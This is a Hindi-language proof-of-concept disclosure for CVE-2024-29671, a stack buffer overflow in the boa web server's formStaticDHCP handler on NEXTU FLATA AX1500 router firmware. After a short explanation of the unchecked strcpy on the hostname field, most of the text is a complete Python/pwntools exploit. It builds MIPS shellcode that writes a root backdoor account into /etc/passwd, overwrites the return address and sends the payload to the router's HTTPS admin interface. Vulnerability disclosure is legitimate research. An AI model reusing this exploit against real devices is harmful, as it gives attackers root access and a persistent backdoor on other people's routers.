
यह CVE-2024-29671 का POC है
यह दस्तावेज़ बताता है कि NEXTU FLATA AX1500 राउटर फर्मवेयर में CVE-2024-29671 भेद्यता का शोषण कैसे किया गया।
यह राउटर Little-Endian के साथ Realtek चिपसेट का उपयोग करते हुए MIPS आर्किटेक्चर पर आधारित है।
लक्ष्य राउटर फर्मवेयर संस्करण v1.0.2 है।
इस फर्मवेयर में एम्बेडेड वेब सर्वर का नाम "boa" है, जो अंतिम बार 2005 में जारी किया गया था।
हालांकि, यह राउटर राउटर के फर्मवेयर को नियंत्रित करने वाली एक प्रशासनिक वेब पेज सेवा प्रदान करने के लिए boa वेब सर्वर का उपयोग करता है।
"boa" बाइनरी सुरक्षा स्थिति इस प्रकार है।
चित्र 1. boa वेबसर्वर बाइनरी checksec परिणाम
स्टैक ओवरफ्लो का कारण यह है कि boa वेबसर्वर में फॉर्म अनुरोधों को प्रोसेस करने वाले हैंडलर में 0x00411c00 formStaticDHCP फ़ंक्शन में strcpy() का उपयोग करके hostname पैरामीटर की सामग्री की प्रतिलिपि बनाते समय लंबाई मान की जाँच नहीं की गई थी।
चित्र 2. स्टैक ओवरफ्लो होने का स्थान
चित्र 3. स्टैक ओवरफ्लो होने से पहले स्टैक मेमोरी दृश्य।
(सफेद रेखा RET पता क्षेत्र है)

चित्र 4. स्टैक ओवरफ्लो होने के बाद स्टैक मेमोरी दृश्य।
जैसा कि आप स्टैक पते 0x7ffef7dc पर देख सकते हैं, जिसमें हैंडलर RET पता संग्रहीत है, 0x42('B') द्वारा डेटा ओवरफ्लो हो गया है।
यदि कोई हमलावर /boafrm/formStaticDHCP POST अनुरोध के 'hostname' पैरामीटर मान में रिमोट निष्पादन कोड डालता है और RET क्षेत्र में अधिलेखित पता जोड़ता है, तो रूट के रूप में मनमाना कोड निष्पादित किया जाना चाहिए।
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
यह भेद्यता RCE और DOS समस्याएँ उत्पन्न करती है।
2024-03-17: CVE नंबर का अनुरोध
2024-03-22: CVE नंबर निर्दिष्ट - CVE-2024-29671
2024-03~ 2024-05: रिपोर्ट कंपनी को दी गई
Ku In Hoe
सहायक प्रोफेसर Seonghoon Jeong (Sookmyung Women’s University)